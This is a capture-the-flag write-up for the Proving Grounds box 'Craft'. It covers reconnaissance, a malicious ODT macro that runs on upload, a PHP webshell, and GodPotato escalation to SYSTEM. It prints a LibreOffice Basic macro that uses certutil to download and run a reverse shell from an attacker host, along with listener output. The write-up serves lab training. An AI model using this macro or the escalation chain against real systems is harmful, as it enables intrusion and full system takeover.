Craft Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 3 min read
Craft runs a XAMPP stack whose only web feature is an ODT file upload, processed server-side by LibreOffice. A macro bound to the document's open event gives a shell as a low-privileged user. That user can write to the Apache web root, and a PHP webshell run as the Apache service account has SeImpersonatePrivilege, which GodPotato abuses for a SYSTEM shell.
Reconnaissance
Nmap
Scan all TCP ports.
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
Explain command
| -Pn -n | Skip host discovery and DNS resolution. |
| -sCV | Run the default scripts and probe service versions. |
Only port 80 is open, so the web app is the only path forward. Add the box's vhost name and fuzz directories.
$TARGET_IP craft.offsec
200 upload.php # file upload form 301 /uploads/ # uploaded file destination 301 /assets/ 301 /css/ 301 /js/
Explain command
| -x | Also probe these file extensions on each discovered path. |
The upload form only accepts ODT (OpenDocument Text) files, which this XAMPP install processes with LibreOffice.
Initial Foothold
Malicious ODT macro
LibreOffice macros bound to the document's Open Document event run automatically when the file is opened, which is exactly what the server does to every upload. Create a Basic macro in LibreOffice Writer that downloads and runs a reverse shell, bind it to the Open Document event, and save the document as ODT.
Sub Main
Shell("cmd /c certutil -urlcache -split -f http://$ATTACKER_IP/shell.exe C:\Windows\Tasks\shell.exe")
Shell("cmd /c C:\Windows\Tasks\shell.exe")
End Sub
The target is 64-bit, so the payload must be an x64 reverse shell or it silently fails to run.
Payload size: <snip> bytes Saved as: shell.exe
Host the payload and start a listener.
Serving HTTP on 0.0.0.0 port 80 ...
listening on [any] $ATTACKER_PORT ...
Explain command
| -lvnp | Listen, verbose, no DNS resolution, on the given port. |
Upload the malicious ODT through upload.php. The server opens it with LibreOffice, the macro fires, certutil downloads the payload, and it runs.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49123 C:\xampp\htdocs>whoami craft\thecybergeek
Shell as thecybergeek. Check its privileges.
Privilege Escalation
Lateral move to the Apache account
Check the current user's privileges.
SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
No SeImpersonatePrivilege, so a potato attack will not work from this context. Since this is XAMPP, the Apache service account is worth checking instead. The web root at C:\xampp\htdocs is writable by thecybergeek, so drop a PHP webshell there.
Confirm it executes as the Apache account and check its privileges.
craft\apache
SeImpersonatePrivilege Impersonate a client after authentication Enabled
apache has SeImpersonatePrivilege. Stage a second reverse shell and GodPotato on the target through the webshell, on a different port from the first shell.
GodPotato to SYSTEM
Download GodPotato on Kali first.
Payload size: <snip> bytes Saved as: shell2.exe
Start a listener and trigger the second shell through the webshell.
listening on [any] $ATTACKER_PORT ...
The listener catches a shell as craft\apache. Run GodPotato, which abuses SeImpersonatePrivilege to impersonate SYSTEM through a coerced DCOM activation.
nt authority\system
SYSTEM confirmed through the potato chain.
Related
References
-
SeImpersonatePrivilege abuse tool used to escalate the Apache service account to SYSTEM.